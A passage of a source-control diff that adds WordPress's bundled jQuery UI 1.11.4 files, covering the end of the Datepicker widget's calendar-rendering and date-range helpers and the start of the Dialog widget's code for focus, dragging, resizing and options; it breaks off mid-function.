+				leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;
+				curRows = Math.ceil((leadDays + daysInMonth) / 7); // calculate the number of rows to generate
+				numRows = (isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows); //If multiple months, use the higher number of rows (see #7043)
+				this.maxRows = numRows;
+				printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays));
+				for (dRow = 0; dRow < numRows; dRow++) { // create date picker rows
+					calender += "<tr>";
+					tbody = (!showWeek ? "" : "<td class='ui-datepicker-week-col'>" +
+						this._get(inst, "calculateWeek")(printDate) + "</td>");
+					for (dow = 0; dow < 7; dow++) { // create date picker days
+						daySettings = (beforeShowDay ?
+							beforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, ""]);
+						otherMonth = (printDate.getMonth() !== drawMonth);
+						unselectable = (otherMonth && !selectOtherMonths) || !daySettings[0] ||
+							(minDate && printDate < minDate) || (maxDate && printDate > maxDate);
+						tbody += "<td class='" +
+							((dow + firstDay + 6) % 7 >= 5 ? " ui-datepicker-week-end" : "") + // highlight weekends
+							(otherMonth ? " ui-datepicker-other-month" : "") + // highlight days from other months
+							((printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent) || // user pressed key
+							(defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime()) ?
+							// or defaultDate is current printedDate and defaultDate is selectedDate
+							" " + this._dayOverClass : "") + // highlight selected day
+							(unselectable ? " " + this._unselectableClass + " ui-state-disabled": "") +  // highlight unselectable days
+							(otherMonth && !showOtherMonths ? "" : " " + daySettings[1] + // highlight custom dates
+							(printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "") + // highlight selected day
+							(printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "")) + "'" + // highlight today (if different)
+							((!otherMonth || showOtherMonths) && daySettings[2] ? " title='" + daySettings[2].replace(/'/g, "&#39;") + "'" : "") + // cell title
+							(unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'") + ">" + // actions
+							(otherMonth && !showOtherMonths ? "&#xa0;" : // display for other months
+							(unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" +
+							(printDate.getTime() === today.getTime() ? " ui-state-highlight" : "") +
+							(printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "") + // highlight selected day
+							(otherMonth ? " ui-priority-secondary" : "") + // distinguish dates from other months
+							"' href='#'>" + printDate.getDate() + "</a>")) + "</td>"; // display selectable date
+						printDate.setDate(printDate.getDate() + 1);
+						printDate = this._daylightSavingAdjust(printDate);
+					}
+					calender += tbody + "</tr>";
+				}
+				drawMonth++;
+				if (drawMonth > 11) {
+					drawMonth = 0;
+					drawYear++;
+				}
+				calender += "</tbody></table>" + (isMultiMonth ? "</div>" +
+							((numMonths[0] > 0 && col === numMonths[1]-1) ? "<div class='ui-datepicker-row-break'></div>" : "") : "");
+				group += calender;
+			}
+			html += group;
+		}
+		html += buttonPanel;
+		inst._keyEvent = false;
+		return html;
+	},
+
+	/* Generate the month and year header. */
+	_generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate,
+			secondary, monthNames, monthNamesShort) {
+
+		var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear,
+			changeMonth = this._get(inst, "changeMonth"),
+			changeYear = this._get(inst, "changeYear"),
+			showMonthAfterYear = this._get(inst, "showMonthAfterYear"),
+			html = "<div class='ui-datepicker-title'>",
+			monthHtml = "";
+
+		// month selection
+		if (secondary || !changeMonth) {
+			monthHtml += "<span class='ui-datepicker-month'>" + monthNames[drawMonth] + "</span>";
+		} else {
+			inMinYear = (minDate && minDate.getFullYear() === drawYear);
+			inMaxYear = (maxDate && maxDate.getFullYear() === drawYear);
+			monthHtml += "<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>";
+			for ( month = 0; month < 12; month++) {
+				if ((!inMinYear || month >= minDate.getMonth()) && (!inMaxYear || month <= maxDate.getMonth())) {
+					monthHtml += "<option value='" + month + "'" +
+						(month === drawMonth ? " selected='selected'" : "") +
+						">" + monthNamesShort[month] + "</option>";
+				}
+			}
+			monthHtml += "</select>";
+		}
+
+		if (!showMonthAfterYear) {
+			html += monthHtml + (secondary || !(changeMonth && changeYear) ? "&#xa0;" : "");
+		}
+
+		// year selection
+		if ( !inst.yearshtml ) {
+			inst.yearshtml = "";
+			if (secondary || !changeYear) {
+				html += "<span class='ui-datepicker-year'>" + drawYear + "</span>";
+			} else {
+				// determine range of years to display
+				years = this._get(inst, "yearRange").split(":");
+				thisYear = new Date().getFullYear();
+				determineYear = function(value) {
+					var year = (value.match(/c[+\-].*/) ? drawYear + parseInt(value.substring(1), 10) :
+						(value.match(/[+\-].*/) ? thisYear + parseInt(value, 10) :
+						parseInt(value, 10)));
+					return (isNaN(year) ? thisYear : year);
+				};
+				year = determineYear(years[0]);
+				endYear = Math.max(year, determineYear(years[1] || ""));
+				year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
+				endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);
+				inst.yearshtml += "<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";
+				for (; year <= endYear; year++) {
+					inst.yearshtml += "<option value='" + year + "'" +
+						(year === drawYear ? " selected='selected'" : "") +
+						">" + year + "</option>";
+				}
+				inst.yearshtml += "</select>";
+
+				html += inst.yearshtml;
+				inst.yearshtml = null;
+			}
+		}
+
+		html += this._get(inst, "yearSuffix");
+		if (showMonthAfterYear) {
+			html += (secondary || !(changeMonth && changeYear) ? "&#xa0;" : "") + monthHtml;
+		}
+		html += "</div>"; // Close datepicker_header
+		return html;
+	},
+
+	/* Adjust one of the date sub-fields. */
+	_adjustInstDate: function(inst, offset, period) {
+		var year = inst.drawYear + (period === "Y" ? offset : 0),
+			month = inst.drawMonth + (period === "M" ? offset : 0),
+			day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) + (period === "D" ? offset : 0),
+			date = this._restrictMinMax(inst, this._daylightSavingAdjust(new Date(year, month, day)));
+
+		inst.selectedDay = date.getDate();
+		inst.drawMonth = inst.selectedMonth = date.getMonth();
+		inst.drawYear = inst.selectedYear = date.getFullYear();
+		if (period === "M" || period === "Y") {
+			this._notifyChange(inst);
+		}
+	},
+
+	/* Ensure a date is within any min/max bounds. */
+	_restrictMinMax: function(inst, date) {
+		var minDate = this._getMinMaxDate(inst, "min"),
+			maxDate = this._getMinMaxDate(inst, "max"),
+			newDate = (minDate && date < minDate ? minDate : date);
+		return (maxDate && newDate > maxDate ? maxDate : newDate);
+	},
+
+	/* Notify change of month/year. */
+	_notifyChange: function(inst) {
+		var onChange = this._get(inst, "onChangeMonthYear");
+		if (onChange) {
+			onChange.apply((inst.input ? inst.input[0] : null),
+				[inst.selectedYear, inst.selectedMonth + 1, inst]);
+		}
+	},
+
+	/* Determine the number of months to show. */
+	_getNumberOfMonths: function(inst) {
+		var numMonths = this._get(inst, "numberOfMonths");
+		return (numMonths == null ? [1, 1] : (typeof numMonths === "number" ? [1, numMonths] : numMonths));
+	},
+
+	/* Determine the current maximum date - ensure no time components are set. */
+	_getMinMaxDate: function(inst, minMax) {
+		return this._determineDate(inst, this._get(inst, minMax + "Date"), null);
+	},
+
+	/* Find the number of days in a given month. */
+	_getDaysInMonth: function(year, month) {
+		return 32 - this._daylightSavingAdjust(new Date(year, month, 32)).getDate();
+	},
+
+	/* Find the day of the week of the first of a month. */
+	_getFirstDayOfMonth: function(year, month) {
+		return new Date(year, month, 1).getDay();
+	},
+
+	/* Determines if we should allow a "next/prev" month display change. */
+	_canAdjustMonth: function(inst, offset, curYear, curMonth) {
+		var numMonths = this._getNumberOfMonths(inst),
+			date = this._daylightSavingAdjust(new Date(curYear,
+			curMonth + (offset < 0 ? offset : numMonths[0] * numMonths[1]), 1));
+
+		if (offset < 0) {
+			date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
+		}
+		return this._isInRange(inst, date);
+	},
+
+	/* Is the given date in the accepted range? */
+	_isInRange: function(inst, date) {
+		var yearSplit, currentYear,
+			minDate = this._getMinMaxDate(inst, "min"),
+			maxDate = this._getMinMaxDate(inst, "max"),
+			minYear = null,
+			maxYear = null,
+			years = this._get(inst, "yearRange");
+			if (years){
+				yearSplit = years.split(":");
+				currentYear = new Date().getFullYear();
+				minYear = parseInt(yearSplit[0], 10);
+				maxYear = parseInt(yearSplit[1], 10);
+				if ( yearSplit[0].match(/[+\-].*/) ) {
+					minYear += currentYear;
+				}
+				if ( yearSplit[1].match(/[+\-].*/) ) {
+					maxYear += currentYear;
+				}
+			}
+
+		return ((!minDate || date.getTime() >= minDate.getTime()) &&
+			(!maxDate || date.getTime() <= maxDate.getTime()) &&
+			(!minYear || date.getFullYear() >= minYear) &&
+			(!maxYear || date.getFullYear() <= maxYear));
+	},
+
+	/* Provide the configuration settings for formatting/parsing. */
+	_getFormatConfig: function(inst) {
+		var shortYearCutoff = this._get(inst, "shortYearCutoff");
+		shortYearCutoff = (typeof shortYearCutoff !== "string" ? shortYearCutoff :
+			new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
+		return {shortYearCutoff: shortYearCutoff,
+			dayNamesShort: this._get(inst, "dayNamesShort"), dayNames: this._get(inst, "dayNames"),
+			monthNamesShort: this._get(inst, "monthNamesShort"), monthNames: this._get(inst, "monthNames")};
+	},
+
+	/* Format the given date for display. */
+	_formatDate: function(inst, day, month, year) {
+		if (!day) {
+			inst.currentDay = inst.selectedDay;
+			inst.currentMonth = inst.selectedMonth;
+			inst.currentYear = inst.selectedYear;
+		}
+		var date = (day ? (typeof day === "object" ? day :
+			this._daylightSavingAdjust(new Date(year, month, day))) :
+			this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
+		return this.formatDate(this._get(inst, "dateFormat"), date, this._getFormatConfig(inst));
+	}
+});
+
+/*
+ * Bind hover events for datepicker elements.
+ * Done via delegate so the binding only occurs once in the lifetime of the parent div.
+ * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker.
+ */
+function datepicker_bindHover(dpDiv) {
+	var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";
+	return dpDiv.delegate(selector, "mouseout", function() {
+			$(this).removeClass("ui-state-hover");
+			if (this.className.indexOf("ui-datepicker-prev") !== -1) {
+				$(this).removeClass("ui-datepicker-prev-hover");
+			}
+			if (this.className.indexOf("ui-datepicker-next") !== -1) {
+				$(this).removeClass("ui-datepicker-next-hover");
+			}
+		})
+		.delegate( selector, "mouseover", datepicker_handleMouseover );
+}
+
+function datepicker_handleMouseover() {
+	if (!$.datepicker._isDisabledDatepicker( datepicker_instActive.inline? datepicker_instActive.dpDiv.parent()[0] : datepicker_instActive.input[0])) {
+		$(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");
+		$(this).addClass("ui-state-hover");
+		if (this.className.indexOf("ui-datepicker-prev") !== -1) {
+			$(this).addClass("ui-datepicker-prev-hover");
+		}
+		if (this.className.indexOf("ui-datepicker-next") !== -1) {
+			$(this).addClass("ui-datepicker-next-hover");
+		}
+	}
+}
+
+/* jQuery extend now ignores nulls! */
+function datepicker_extendRemove(target, props) {
+	$.extend(target, props);
+	for (var name in props) {
+		if (props[name] == null) {
+			target[name] = props[name];
+		}
+	}
+	return target;
+}
+
+/* Invoke the datepicker functionality.
+   @param  options  string - a command, optionally followed by additional parameters or
+					Object - settings for attaching new datepicker functionality
+   @return  jQuery object */
+$.fn.datepicker = function(options){
+
+	/* Verify an empty collection wasn't passed - Fixes #6976 */
+	if ( !this.length ) {
+		return this;
+	}
+
+	/* Initialise the date picker. */
+	if (!$.datepicker.initialized) {
+		$(document).mousedown($.datepicker._checkExternalClick);
+		$.datepicker.initialized = true;
+	}
+
+	/* Append datepicker main container to body if not exist. */
+	if ($("#"+$.datepicker._mainDivId).length === 0) {
+		$("body").append($.datepicker.dpDiv);
+	}
+
+	var otherArgs = Array.prototype.slice.call(arguments, 1);
+	if (typeof options === "string" && (options === "isDisabled" || options === "getDate" || options === "widget")) {
+		return $.datepicker["_" + options + "Datepicker"].
+			apply($.datepicker, [this[0]].concat(otherArgs));
+	}
+	if (options === "option" && arguments.length === 2 && typeof arguments[1] === "string") {
+		return $.datepicker["_" + options + "Datepicker"].
+			apply($.datepicker, [this[0]].concat(otherArgs));
+	}
+	return this.each(function() {
+		typeof options === "string" ?
+			$.datepicker["_" + options + "Datepicker"].
+				apply($.datepicker, [this].concat(otherArgs)) :
+			$.datepicker._attachDatepicker(this, options);
+	});
+};
+
+$.datepicker = new Datepicker(); // singleton instance
+$.datepicker.initialized = false;
+$.datepicker.uuid = new Date().getTime();
+$.datepicker.version = "1.11.4";
+
+return $.datepicker;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/dialog.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/dialog.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/dialog.js	(revision 56912)
@@ -0,0 +1,876 @@
+/*!
+ * jQuery UI Dialog 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/dialog/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./button",
+			"./draggable",
+			"./mouse",
+			"./position",
+			"./resizable"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.dialog", {
+	version: "1.11.4",
+	options: {
+		appendTo: "body",
+		autoOpen: true,
+		buttons: [],
+		closeOnEscape: true,
+		closeText: "Close",
+		dialogClass: "",
+		draggable: true,
+		hide: null,
+		height: "auto",
+		maxHeight: null,
+		maxWidth: null,
+		minHeight: 150,
+		minWidth: 150,
+		modal: false,
+		position: {
+			my: "center",
+			at: "center",
+			of: window,
+			collision: "fit",
+			// Ensure the titlebar is always visible
+			using: function( pos ) {
+				var topOffset = $( this ).css( pos ).offset().top;
+				if ( topOffset < 0 ) {
+					$( this ).css( "top", pos.top - topOffset );
+				}
+			}
+		},
+		resizable: true,
+		show: null,
+		title: null,
+		width: 300,
+
+		// callbacks
+		beforeClose: null,
+		close: null,
+		drag: null,
+		dragStart: null,
+		dragStop: null,
+		focus: null,
+		open: null,
+		resize: null,
+		resizeStart: null,
+		resizeStop: null
+	},
+
+	sizeRelatedOptions: {
+		buttons: true,
+		height: true,
+		maxHeight: true,
+		maxWidth: true,
+		minHeight: true,
+		minWidth: true,
+		width: true
+	},
+
+	resizableRelatedOptions: {
+		maxHeight: true,
+		maxWidth: true,
+		minHeight: true,
+		minWidth: true
+	},
+
+	_create: function() {
+		this.originalCss = {
+			display: this.element[ 0 ].style.display,
+			width: this.element[ 0 ].style.width,
+			minHeight: this.element[ 0 ].style.minHeight,
+			maxHeight: this.element[ 0 ].style.maxHeight,
+			height: this.element[ 0 ].style.height
+		};
+		this.originalPosition = {
+			parent: this.element.parent(),
+			index: this.element.parent().children().index( this.element )
+		};
+		this.originalTitle = this.element.attr( "title" );
+		this.options.title = this.options.title || this.originalTitle;
+
+		this._createWrapper();
+
+		this.element
+			.show()
+			.removeAttr( "title" )
+			.addClass( "ui-dialog-content ui-widget-content" )
+			.appendTo( this.uiDialog );
+
+		this._createTitlebar();
+		this._createButtonPane();
+
+		if ( this.options.draggable && $.fn.draggable ) {
+			this._makeDraggable();
+		}
+		if ( this.options.resizable && $.fn.resizable ) {
+			this._makeResizable();
+		}
+
+		this._isOpen = false;
+
+		this._trackFocus();
+	},
+
+	_init: function() {
+		if ( this.options.autoOpen ) {
+			this.open();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+		if ( element && (element.jquery || element.nodeType) ) {
+			return $( element );
+		}
+		return this.document.find( element || "body" ).eq( 0 );
+	},
+
+	_destroy: function() {
+		var next,
+			originalPosition = this.originalPosition;
+
+		this._untrackInstance();
+		this._destroyOverlay();
+
+		this.element
+			.removeUniqueId()
+			.removeClass( "ui-dialog-content ui-widget-content" )
+			.css( this.originalCss )
+			// Without detaching first, the following becomes really slow
+			.detach();
+
+		this.uiDialog.stop( true, true ).remove();
+
+		if ( this.originalTitle ) {
+			this.element.attr( "title", this.originalTitle );
+		}
+
+		next = originalPosition.parent.children().eq( originalPosition.index );
+		// Don't try to place the dialog next to itself (#8613)
+		if ( next.length && next[ 0 ] !== this.element[ 0 ] ) {
+			next.before( this.element );
+		} else {
+			originalPosition.parent.append( this.element );
+		}
+	},
+
+	widget: function() {
+		return this.uiDialog;
+	},
+
+	disable: $.noop,
+	enable: $.noop,
+
+	close: function( event ) {
+		var activeElement,
+			that = this;
+
+		if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) {
+			return;
+		}
+
+		this._isOpen = false;
+		this._focusedElement = null;
+		this._destroyOverlay();
+		this._untrackInstance();
+
+		if ( !this.opener.filter( ":focusable" ).focus().length ) {
+
+			// support: IE9
+			// IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe>
+			try {
+				activeElement = this.document[ 0 ].activeElement;
+
+				// Support: IE9, IE10
+				// If the <body> is blurred, IE will switch windows, see #4520
+				if ( activeElement && activeElement.nodeName.toLowerCase() !== "body" ) {
+
+					// Hiding a focused element doesn't trigger blur in WebKit
+					// so in case we have nothing to focus on, explicitly blur the active element
+					// https://bugs.webkit.org/show_bug.cgi?id=47182
+					$( activeElement ).blur();
+				}
+			} catch ( error ) {}
+		}
+
+		this._hide( this.uiDialog, this.options.hide, function() {
+			that._trigger( "close", event );
+		});
+	},
+
+	isOpen: function() {
+		return this._isOpen;
+	},
+
+	moveToTop: function() {
+		this._moveToTop();
+	},
+
+	_moveToTop: function( event, silent ) {
+		var moved = false,
+			zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map(function() {
+				return +$( this ).css( "z-index" );
+			}).get(),
+			zIndexMax = Math.max.apply( null, zIndices );
+
+		if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) {
+			this.uiDialog.css( "z-index", zIndexMax + 1 );
+			moved = true;
+		}
+
+		if ( moved && !silent ) {
+			this._trigger( "focus", event );
+		}
+		return moved;
+	},
+
+	open: function() {
+		var that = this;
+		if ( this._isOpen ) {
+			if ( this._moveToTop() ) {
+				this._focusTabbable();
+			}
+			return;
+		}
+
+		this._isOpen = true;
+		this.opener = $( this.document[ 0 ].activeElement );
+
+		this._size();
+		this._position();
+		this._createOverlay();
+		this._moveToTop( null, true );
+
+		// Ensure the overlay is moved to the top with the dialog, but only when
+		// opening. The overlay shouldn't move after the dialog is open so that
+		// modeless dialogs opened after the modal dialog stack properly.
+		if ( this.overlay ) {
+			this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 );
+		}
+
+		this._show( this.uiDialog, this.options.show, function() {
+			that._focusTabbable();
+			that._trigger( "focus" );
+		});
+
+		// Track the dialog immediately upon openening in case a focus event
+		// somehow occurs outside of the dialog before an element inside the
+		// dialog is focused (#10152)
+		this._makeFocusTarget();
+
+		this._trigger( "open" );
+	},
+
+	_focusTabbable: function() {
+		// Set focus to the first match:
+		// 1. An element that was focused previously
+		// 2. First element inside the dialog matching [autofocus]
+		// 3. Tabbable element inside the content element
+		// 4. Tabbable element inside the buttonpane
+		// 5. The close button
+		// 6. The dialog itself
+		var hasFocus = this._focusedElement;
+		if ( !hasFocus ) {
+			hasFocus = this.element.find( "[autofocus]" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.element.find( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialogButtonPane.find( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialog;
+		}
+		hasFocus.eq( 0 ).focus();
+	},
+
+	_keepFocus: function( event ) {
+		function checkFocus() {
+			var activeElement = this.document[0].activeElement,
+				isActive = this.uiDialog[0] === activeElement ||
+					$.contains( this.uiDialog[0], activeElement );
+			if ( !isActive ) {
+				this._focusTabbable();
+			}
+		}
+		event.preventDefault();
+		checkFocus.call( this );
+		// support: IE
+		// IE <= 8 doesn't prevent moving focus even with event.preventDefault()
+		// so we check again later
+		this._delay( checkFocus );
+	},
+
+	_createWrapper: function() {
+		this.uiDialog = $("<div>")
+			.addClass( "ui-dialog ui-widget ui-widget-content ui-corner-all ui-front " +
+				this.options.dialogClass )
+			.hide()
+			.attr({
+				// Setting tabIndex makes the div focusable
+				tabIndex: -1,
+				role: "dialog"
+			})
+			.appendTo( this._appendTo() );
+
+		this._on( this.uiDialog, {
+			keydown: function( event ) {
+				if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
+						event.keyCode === $.ui.keyCode.ESCAPE ) {
+					event.preventDefault();
+					this.close( event );
+					return;
+				}
+
+				// prevent tabbing out of dialogs
+				if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) {
+					return;
+				}
+				var tabbables = this.uiDialog.find( ":tabbable" ),
+					first = tabbables.filter( ":first" ),
+					last = tabbables.filter( ":last" );
+
+				if ( ( event.target === last[0] || event.target === this.uiDialog[0] ) && !event.shiftKey ) {
+					this._delay(function() {
+						first.focus();
+					});
+					event.preventDefault();
+				} else if ( ( event.target === first[0] || event.target === this.uiDialog[0] ) && event.shiftKey ) {
+					this._delay(function() {
+						last.focus();
+					});
+					event.preventDefault();
+				}
+			},
+			mousedown: function( event ) {
+				if ( this._moveToTop( event ) ) {
+					this._focusTabbable();
+				}
+			}
+		});
+
+		// We assume that any existing aria-describedby attribute means
+		// that the dialog content is marked up properly
+		// otherwise we brute force the content as the description
+		if ( !this.element.find( "[aria-describedby]" ).length ) {
+			this.uiDialog.attr({
+				"aria-describedby": this.element.uniqueId().attr( "id" )
+			});
+		}
+	},
+
+	_createTitlebar: function() {
+		var uiDialogTitle;
+
+		this.uiDialogTitlebar = $( "<div>" )
+			.addClass( "ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix" )
+			.prependTo( this.uiDialog );
+		this._on( this.uiDialogTitlebar, {
+			mousedown: function( event ) {
+				// Don't prevent click on close button (#8838)
+				// Focusing a dialog that is partially scrolled out of view
+				// causes the browser to scroll it into view, preventing the click event
+				if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) {
+					// Dialog isn't getting focus when dragging (#8063)
+					this.uiDialog.focus();
+				}
+			}
+		});
+
+		// support: IE
+		// Use type="button" to prevent enter keypresses in textboxes from closing the
+		// dialog in IE (#9312)
+		this.uiDialogTitlebarClose = $( "<button type='button'></button>" )
+			.button({
+				label: this.options.closeText,
+				icons: {
+					primary: "ui-icon-closethick"
+				},
+				text: false
+			})
+			.addClass( "ui-dialog-titlebar-close" )
+			.appendTo( this.uiDialogTitlebar );
+		this._on( this.uiDialogTitlebarClose, {
+			click: function( event ) {
+				event.preventDefault();
+				this.close( event );
+			}
+		});
+
+		uiDialogTitle = $( "<span>" )
+			.uniqueId()
+			.addClass( "ui-dialog-title" )
+			.prependTo( this.uiDialogTitlebar );
+		this._title( uiDialogTitle );
+
+		this.uiDialog.attr({
+			"aria-labelledby": uiDialogTitle.attr( "id" )
+		});
+	},
+
+	_title: function( title ) {
+		if ( !this.options.title ) {
+			title.html( "&#160;" );
+		}
+		title.text( this.options.title );
+	},
+
+	_createButtonPane: function() {
+		this.uiDialogButtonPane = $( "<div>" )
+			.addClass( "ui-dialog-buttonpane ui-widget-content ui-helper-clearfix" );
+
+		this.uiButtonSet = $( "<div>" )
+			.addClass( "ui-dialog-buttonset" )
+			.appendTo( this.uiDialogButtonPane );
+
+		this._createButtons();
+	},
+
+	_createButtons: function() {
+		var that = this,
+			buttons = this.options.buttons;
+
+		// if we already have a button pane, remove it
+		this.uiDialogButtonPane.remove();
+		this.uiButtonSet.empty();
+
+		if ( $.isEmptyObject( buttons ) || ($.isArray( buttons ) && !buttons.length) ) {
+			this.uiDialog.removeClass( "ui-dialog-buttons" );
+			return;
+		}
+
+		$.each( buttons, function( name, props ) {
+			var click, buttonOptions;
+			props = $.isFunction( props ) ?
+				{ click: props, text: name } :
+				props;
+			// Default to a non-submitting button
+			props = $.extend( { type: "button" }, props );
+			// Change the context for the click callback to be the main element
+			click = props.click;
+			props.click = function() {
+				click.apply( that.element[ 0 ], arguments );
+			};
+			buttonOptions = {
+				icons: props.icons,
+				text: props.showText
+			};
+			delete props.icons;
+			delete props.showText;
+			$( "<button></button>", props )
+				.button( buttonOptions )
+				.appendTo( that.uiButtonSet );
+		});
+		this.uiDialog.addClass( "ui-dialog-buttons" );
+		this.uiDialogButtonPane.appendTo( this.uiDialog );
+	},
+
+	_makeDraggable: function() {
+		var that = this,
+			options = this.options;
+
+		function filteredUi( ui ) {
+			return {
+				position: ui.position,
+				offset: ui.offset
+			};
+		}
+
+		this.uiDialog.draggable({
+			cancel: ".ui-dialog-content, .ui-dialog-titlebar-close",
+			handle: ".ui-dialog-titlebar",
+			containment: "document",
+			start: function( event, ui ) {
+				$( this ).addClass( "ui-dialog-dragging" );
+				that._blockFrames();
+				that._trigger( "dragStart", event, filteredUi( ui ) );
+			},
+			drag: function( event, ui ) {
+				that._trigger( "drag", event, filteredUi( ui ) );
+			},
+			stop: function( event, ui ) {
+				var left = ui.offset.left - that.document.scrollLeft(),
+					top = ui.offset.top - that.document.scrollTop();
+
+				options.position = {
+					my: "left top",
+					at: "left" + (left >= 0 ? "+" : "") + left + " " +
+						"top" + (top >= 0 ? "+" : "") + top,
+					of: that.window
+				};
+				$( this ).removeClass( "ui-dialog-dragging" );
+				that._unblockFrames();
+				that._trigger( "dragStop", event, filteredUi( ui ) );
+			}
+		});
+	},
+
+	_makeResizable: function() {
+		var that = this,
+			options = this.options,
+			handles = options.resizable,
+			// .ui-resizable has position: relative defined in the stylesheet
+			// but dialogs have to use absolute or fixed positioning
+			position = this.uiDialog.css("position"),
+			resizeHandles = typeof handles === "string" ?
+				handles	:
+				"n,e,s,w,se,sw,ne,nw";
+
+		function filteredUi( ui ) {
+			return {
+				originalPosition: ui.originalPosition,
+				originalSize: ui.originalSize,
+				position: ui.position,
+				size: ui.size
+			};
+		}
+
+		this.uiDialog.resizable({
+			cancel: ".ui-dialog-content",
+			containment: "document",
+			alsoResize: this.element,
+			maxWidth: options.maxWidth,
+			maxHeight: options.maxHeight,
+			minWidth: options.minWidth,
+			minHeight: this._minHeight(),
+			handles: resizeHandles,
+			start: function( event, ui ) {
+				$( this ).addClass( "ui-dialog-resizing" );
+				that._blockFrames();
+				that._trigger( "resizeStart", event, filteredUi( ui ) );
+			},
+			resize: function( event, ui ) {
+				that._trigger( "resize", event, filteredUi( ui ) );
+			},
+			stop: function( event, ui ) {
+				var offset = that.uiDialog.offset(),
+					left = offset.left - that.document.scrollLeft(),
+					top = offset.top - that.document.scrollTop();
+
+				options.height = that.uiDialog.height();
+				options.width = that.uiDialog.width();
+				options.position = {
+					my: "left top",
+					at: "left" + (left >= 0 ? "+" : "") + left + " " +
+						"top" + (top >= 0 ? "+" : "") + top,
+					of: that.window
+				};
+				$( this ).removeClass( "ui-dialog-resizing" );
+				that._unblockFrames();
+				that._trigger( "resizeStop", event, filteredUi( ui ) );
+			}
+		})
+		.css( "position", position );
+	},
+
+	_trackFocus: function() {
+		this._on( this.widget(), {
+			focusin: function( event ) {
+				this._makeFocusTarget();
+				this._focusedElement = $( event.target );
+			}
+		});
+	},
+
+	_makeFocusTarget: function() {
+		this._untrackInstance();
+		this._trackingInstances().unshift( this );
+	},
+
+	_untrackInstance: function() {
+		var instances = this._trackingInstances(),
+			exists = $.inArray( this, instances );
+		if ( exists !== -1 ) {
+			instances.splice( exists, 1 );
+		}
+	},
+
+	_trackingInstances: function() {
+		var instances = this.document.data( "ui-dialog-instances" );
+		if ( !instances ) {
+			instances = [];
+			this.document.data( "ui-dialog-instances", instances );
+		}
+		return instances;
+	},
+
+	_minHeight: function() {
+		var options = this.options;
+
+		return options.height === "auto" ?
+			options.minHeight :
+			Math.min( options.minHeight, options.height );
+	},
+
+	_position: function() {
+		// Need to show the dialog to get the actual offset in the position plugin
+		var isVisible = this.uiDialog.is( ":visible" );
+		if ( !isVisible ) {
+			this.uiDialog.show();
+		}
+		this.uiDialog.position( this.options.position );
+		if ( !isVisible ) {
+			this.uiDialog.hide();
+		}
+	},
+
+	_setOptions: function( options ) {
+		var that = this,
+			resize = false,
+			resizableOptions = {};
+
+		$.each( options, function( key, value ) {
+			that._setOption( key, value );
+
+			if ( key in that.sizeRelatedOptions ) {
+				resize = true;
+			}
+			if ( key in that.resizableRelatedOptions ) {
+				resizableOptions[ key ] = value;
+			}
+		});
+
+		if ( resize ) {
+			this._size();
+			this._position();
+		}
+		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
+			this.uiDialog.resizable( "option", resizableOptions );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		var isDraggable, isResizable,
+			uiDialog = this.uiDialog;
+
+		if ( key === "dialogClass" ) {
+			uiDialog
+				.removeClass( this.options.dialogClass )
+				.addClass( value );
+		}
+
+		if ( key === "disabled" ) {
+			return;
+		}
+
+		this._super( key, value );
+
+		if ( key === "appendTo" ) {
+			this.uiDialog.appendTo( this._appendTo() );
+		}
+
+		if ( key === "buttons" ) {
+			this._createButtons();
+		}
+
+		if ( key === "closeText" ) {
